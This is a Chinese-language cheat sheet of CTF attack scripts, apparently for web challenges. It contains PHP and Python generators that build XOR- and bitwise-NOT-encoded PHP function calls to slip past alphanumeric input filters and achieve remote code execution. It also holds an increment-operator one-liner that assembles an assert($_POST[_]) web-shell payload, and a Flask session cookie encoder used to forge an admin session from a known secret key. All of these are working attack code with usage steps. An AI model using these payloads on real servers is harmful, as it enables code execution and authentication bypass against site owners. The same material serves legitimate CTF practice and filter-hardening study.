将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件],然后python [你的Py文件]
脚本
<?php
/*author yu22x*/
/*php脚本*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*-这是Py脚本*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
取反运算生成脚本
如何使用
将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件]
脚本
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
自增运算脚本
如何使用
该方法在.0.12以上版本不可使用
构造出的语句为: assert($_POST[_]); 使用: _=php函数 ; 例如 _=phpinfo();
脚本
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
flask session伪造admin身份
使用方法
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
例如:
python3 flask_session_cookie_manager3.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"
脚本
flask_session_manager.py
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))